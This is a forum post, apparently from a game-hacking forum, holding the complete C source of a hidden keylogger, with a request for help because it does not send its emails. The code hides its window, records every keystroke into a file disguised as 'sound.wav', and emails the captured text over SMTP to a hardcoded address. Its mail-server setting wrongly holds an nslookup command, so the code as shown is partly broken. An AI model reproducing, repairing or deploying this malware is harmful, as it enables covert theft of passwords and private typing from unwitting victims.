Originally Posted by TehKiller
sending an email takes time(to connect etc), so doing it on shutdown would not have it reach the gmail server I guess
// remote email keylogger - some credits to [shoop-da-woop] @ mpgh
//HELP MPGH - compiles fine but not sending emails
/*
notes: i used dev-c++ 4.9.9.2 to compile this. if you get an error like:
[Linker error] undefined reference to `WSAStartup@8'
add this:
-lws2_32
to tools->compiler options under the section on compile flags.
*/
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*if you don't know the mail exchange server for an address for the following
"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for
whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR
IT WILL NOT WORK!!! */
#define cmailserver "nslookup -querytype=mx kibbles201@yahoo.com" //my email address, used above code
#define cemailto "kibbles201@yahoo.com"
#define cemailfrom "kibbles201@gmail.com" //my email adress
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"
int get_keys(void);
int test_key(void);
int main(void)
{
//uncomment the lines below to put the keylogger in stealh mode.
HWND stealth; /*creating stealth */
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
{FILE *file;
file=fopen(FileName,"a+");
time_t theTime=time(0);
fputs("\nStarted logging: ", file);
fputs(ctime(&theTime),file);
fclose(file);
}
/* if (test==2)
{//the path in which the file needs to be
char *path="c:\\%windir%\\svchost.exe";
create=create_key(path);
} */
int t = get_keys();
return t;
}
int get_keys()
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");
short character;
while(1)
{
Sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen(FileName,"a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("\r\n[SHIFT]\r\n",file);
fclose(file);
break;
case VK_RETURN:
fputs("\r\n[ENTER]\r\n",file);
fclose(file);
break;
case VK_BACK:
fputs("\r\n[BACKSPACE]\r\n",file);
fclose(file);
break;
case VK_TAB:
fputs("\r\n[TAB]\r\n",file);
fclose(file);
break;
case VK_CONTROL:
fputs("\r\n[CTRL]\r\n",file);
fclose(file);
break;
case VK_DELETE:
fputs("\r\n[DEL]\r\n",file);
fclose(file);
break;
case VK_OEM_1:
fputs("\r\n[;:]\r\n",file);
fclose(file);
break;
case VK_OEM_2:
fputs("\r\n[/?]\r\n",file);
fclose(file);
break;
case VK_OEM_3:
fputs("\r\n[`~]\r\n",file);
fclose(file);
break;
case VK_OEM_4:
fputs("\r\n[ [{ ]\r\n",file);
fclose(file);
break;
case VK_OEM_5:
fputs("\r\n[\\|]\r\n",file);
fclose(file);
break;
case VK_OEM_6:
fputs("\r\n[ ]} ]\r\n",file);
fclose(file);
break;
case VK_OEM_7:
fputs("\r\n['\"]\r\n",file);
fclose(file);
break;
case 187:
fputc('+',file);
fclose(file);
break;
case 188:
fputc(',',file);
fclose(file);
break;
case 189:
fputc('-',file);
fclose(file);
break;
case 190:
fputc('.',file);
fclose(file);
break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("\r\n[CAPS LOCK]\r\n",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}
FILE *file;
file=fopen(FileName,"rb");
fseek(file,0,SEEK_END); //go to end
len=ftell(file); //get position at end (length)
if(len>=LogLength) {
fseek(file,0,SEEK_SET);//go to beg.
buf=(char *)malloc(len);//malloc buffer
freadindex=fread(buf,1,len,file);//read into buffer
buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
fclose(file);
file=fopen(FileName,"w");
}
fclose(file);
//free (buf);
}
return EXIT_SUCCESS;
}
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
SOCKET sockfd;
WSADATA wsaData;
FILE *smtpfile;
#define bufsize 300
int bytes_sent; /* sock FD */
int err;
struct hostent *host; /* info from gethostbyname */
struct sockaddr_in dest_addr; /* host address */
char line[1000];
char *Rec_Buf = (char*) malloc(bufsize+1);
smtpfile=fopen(SMTPLog,"a+");
if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
fputs("WSAStartup failed",smtpfile);
WSACleanup();
return -1;
}
if ( (host=gethostbyname(mailserver)) == NULL) {
perror("gethostbyname");
exit(1);
}
memset(&dest_addr,0,sizeof(dest_addr));
memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
/* Prepare dest_addr */
dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
dest_addr.sin_port= htons(25); /* PORT defined above */
/* Get socket */
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("socket");
exit(1);
}
/* Connect !*/
fputs("Connecting....\n",smtpfile);
if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
perror("connect");
exit(1);
}
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"helo me.somepalace.com\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"MAIL FROM:<");
strncat(line,emailfrom,strlen(emailfrom));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"RCPT TO:<");
strncat(line,emailto,strlen(emailto));
strncat(line,">\n",3);
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"DATA\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
Sleep(waittime);
strcpy(line,"To:");
strcat(line,emailto);
strcat(line,"\n");
strcat(line,"From:");
strcat(line,emailfrom);
strcat(line,"\n");
strcat(line,"Subject:");
strcat(line,emailsubject);
strcat(line,"\n");
strcat(line,emailmessage);
strcat(line,"\r\n.\r\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
strcpy(line,"quit\n");
fputs(line,smtpfile);
bytes_sent=send(sockfd,line,strlen(line),0);
Sleep(waittime);
err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
fputs(Rec_Buf,smtpfile);
fclose(smtpfile);
#ifdef WIN32
closesocket(sockfd);
WSACleanup();
#else
close(sockfd);
#endif
}
Originally Posted by TehKiller